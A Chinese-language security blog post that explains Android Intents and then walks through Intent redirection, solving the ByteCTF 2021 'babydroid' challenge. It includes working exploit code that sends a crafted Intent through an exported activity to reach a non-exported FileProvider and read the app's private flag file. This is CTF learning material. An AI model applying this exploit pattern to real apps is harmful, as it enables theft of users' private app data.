intent 介绍
startActivity(Intent)/startActivityForResult(Intent):启动一个Activity startService(Intent)/bindService(Intent):启动一个Service sendBroadcast:发送广播到指定BroadcastReceiver Intent负责对应用中一次操作的动作、动作涉及的数据、附加数据进行描述,Android则根据此Intent的描述,负责找到对应的组件,将 Intent传递给被调用的组件,并完成组件的调用。 Intent对象中可以包括这些信息: 1. 组件名称(Component): 指定Intent的的目标组件的类名称。 2. 动作(Action): 将要执行的动作 3. 种类(Category): 被执行动作的附加信息 4. data (数据) : 表示执行动作要操纵的数据。 5. type (数据类型) : 显式指定Intent的数据类型(MIME)。 6. extras (扩展信息) : 是其它所有扩展信息的集合。 7. Flags (标志位) : 期望这个意图的运行模式。 Intent的两种调用方式:
-
显示调用
对于明确指出了目标组件名称的Intent,我们称之为显式Intent。
Intent intent = new Intent(MainActivity.class,TestActivity.class); //实例化Intent对象 intent.putExtra("ext1",ext1); //使用putExtra传递参数,参数:值 intent.getStringExtra("ext1") //获取传递的参数 startActivity(intent); //启动Intent,完成从MainActivity类跳转到TestActivity类 我们写代码来理解一下,可以发现使用了setComponent,putExtra等来添加Intent对象中的信息: MainActivity: public class MainActivity extends AppCompatActivity { public Button btn; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); String at = "MainActivity"; ComponentName component = new ComponentName(MainActivity.this, TestActivity.class); Intent intent = new Intent(); //设置要跳转的组件名称,等价于new Intent(MainActivity.class,TestActivity.class); intent.setComponent(component); //设置额外数据 intent.putExtra("hint", "我是TestActivity, 我来自MainActivity"); btn = findViewById(R.id.btn); btn.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { startActivity(intent); } }); } } TestActivity: public class TestActivity extends AppCompatActivity { public TextView tv; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_test); tv = findViewById(R.id.tv); //接收数据 String result = getIntent().getStringExtra("hint"); tv.setText(result); } } 当点击跳转后,页面进行跳转,并且数据传输成功。
-
隐式调用
对于没有明确指出目标组件名称的Intent,则称之为隐式Intent。
隐式调用需要通过Intent Filter来匹配对应的组件。
AndroidManifest.xml中添加要跳转的Activity:
<activity
android:name=".TestActivity"
android:exported="false"
<intent-filter>
<action android:name="myAction" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
MainActivity:
Intent intent = new Intent();
intent.setAction("myAction");
//设置额外数据
intent.putExtra("hint", "我是TestActivity, 我来自MainActivity");
btn = findViewById(R.id.btn);
btn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
startActivity(intent);
}
});
点击跳转按钮,达到和上图同样的效果,这就是显示调用和隐式调用。
intent 重定向
点击函数redirect:
public void redirect(View v){
Intent redirect = new Intent("redirect");
redirect.setClassName("com.example.sec_test", "com.example.sec_test.RedirectActivity");
Intent intent = new Intent();
intent.setClassName("com.example.test", "com.example.test.TestActivity");
intent.putExtra("intent",redirect);
startActivity(intent);
}
受害APK关键代码:
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_test);
Intent intent = getIntent().getParcelableExtra("intent");
startActivity(intent);
}
整个过程如下图,实际看到的是,点击按钮后直接跳转到”重定向成功“界面,但中间会有一个空白界面就是我们的Activity1:
![Android Intent 重定向漏洞分析总结 Android Intent 重定向漏洞分析总结]()
![Android Intent 重定向漏洞分析总结]()
![Android Intent 重定向漏洞分析总结]()
ByteCTF 2021-babydroid
![Android Intent 重定向漏洞分析总结]()
![Android Intent 重定向漏洞分析总结]()
本文是根据ByteCTF 2021的Android题来进行学习,在之前我们了解了Intent重定向,但是这往往需要和其他利用条件结合,也要保证要攻击的Activity是导出的,而这个题就可以帮助我们巩固知识。
分析APK
JEB反编译,查看AndroidManifest.xml文件,发现Vulnerable是可导出的,可能漏洞点就在这里。
![Android Intent 重定向漏洞分析总结 Android Intent 重定向漏洞分析总结]()
MainActivity是空的,没什么用,FlagReciver是一个广播接收器,经分析是设置flag的,将接收的flag写入文件,这应该和做题的人关系不大。
![Android Intent 重定向漏洞分析总结 Android Intent 重定向漏洞分析总结]()
但是这里有一点要注意,getFilesDir()是哪个目录呢,这里可以自己写代码进行验证,给一个参考图,来自:https://bbs.pediy.com/thread-271122.htm
![Android Intent 重定向漏洞分析总结 Android Intent 重定向漏洞分析总结]()
所以这里flag文件存储的目录是/data/data/com.bytectf.babydroid/files/flag。
再查看Vulnerable类,
![Android Intent 重定向漏洞分析总结 Android Intent 重定向漏洞分析总结]()
这个类导出,而且接收一个Intent数据,所以我们可以利用Intent重定向漏洞。
那我们该怎么利用Intent重定向漏洞读取flag文件呢?
FileProvider
Android 7开始不允许以 file:// 的方式通过 Intent 在两个 App 之间分享文件,而是通过 FileProvider 生成 content://Uri 。如果在 Android 7以上的版本继续使用 file:// 的方式分享文件,则系统会直接抛出异常。
FileProvider 是一个特殊的 ContentProvider 子类,如果使用包含 Content URI 的 Intent 共享文件时,需要申请临时的读写权限,这可以通过 Intent.setFlags() 方法实现。
我们在AndroidManifest.xml中也看到了FileProvider,
<provider
android:authorities="androidx.core.content.FileProvider"
android:exported="false"
android:grantUriPermissions="true"
android:name="androidx.core.content.FileProvider">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_paths"/>
</provider>
这段代码是定义FileProvider,
android:name为androidx.core.content.FileProvider,不需要更改;
android:authorities为androidx.core.content.FileProvider;
android:exported为false,表示 FileProvider 不是公开的;
android:grantUriPermissions为true,表示允许临时读写文件。
文件配置完成后还需要生成可以被其他 App 访问的 Content URI,可以直接调用 FileProvider 提供的 getUriForFile(File file) 方法,,传入文件名称就可以得到相应的 Content URI。
假如我们要获取flag文件,但是我们也不确定Content URI是多少,我们编写代码来得到结果,看看Content URI生成的格式:
File imagePath = new File(getContext().getFilesDir(), "aaa");
File newFile = new File(imagePath, "default_image.jpg");
Uri contentUri = getUriForFile(getContext(), "com.mydomain.provider", newFile);
得到结果:
content://androidx.core.content.FileProvider/root/data/data/com.example.test/files/aaa/default_image.jpg
这样我们就得到了我们攻击时应该使用的Content URI格式。
攻击
了解了前面的知识,我们该做最后一步,对apk实施攻击获取flag。我们使用Intent重定向将Content Uri在受害Apk中进行解析获取flag文件的数据,在攻击APK中接收flag,完成攻击。
首先使用命令发送广播,创建flag文件:
adb shell su root am broadcast -a com.bytectf.SET_FLAG -n com.bytectf.babydroid/.FlagReceiver -e flag 'flag{success!!!}'
然后编写攻击代码:
MainActivity点击函数:
public void redirect(View v){
Intent redirect = new Intent("redirect");
redirect.setClassName("com.example.sec_test", "com.example.sec_test.RedirectActivity");
//读取flag文件,并且设置为此intent的Data。
redirect.setData(Uri.parse("content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag"));
//设置读写权限flag
redirect.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION|Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
Intent intent = new Intent();
intent.setClassName("com.bytectf.babydroid", "com.bytectf.babydroid.Vulnerable");
intent.putExtra("intent",redirect);
startActivity(intent);
}
RedirectActivity:
try {
InputStream inputStream = getContentResolver().openInputStream(getIntent().getData());
String flag = IOUtils.toString(inputStream);
tv.setText(flag);
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
攻击结果:
![Android Intent 重定向漏洞分析总结 Android Intent 重定向漏洞分析总结]()
![Android Intent 重定向漏洞分析总结]()
![Android Intent 重定向漏洞分析总结]()
总结
![Android Intent 重定向漏洞分析总结]()
![Android Intent 重定向漏洞分析总结]()
这个APK出现漏洞主要是因为Vulnerable类导出,虽然FileProvider是不导出的,但是通过Intent重定向可以在受害APK内部去使用FileProvider,因此达成了利用条件。一直以来,我主要是做APK逆向,而对于APK的漏洞确了解的很少,而且也很难有漏洞去复现学习,还是很感谢ByteCTF的出题师傅,之后应该也会对其他题目进行复现学习,再和大家分享学习。
原文始发于微信公众号(SAINTSEC):Android Intent 重定向漏洞分析总结
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论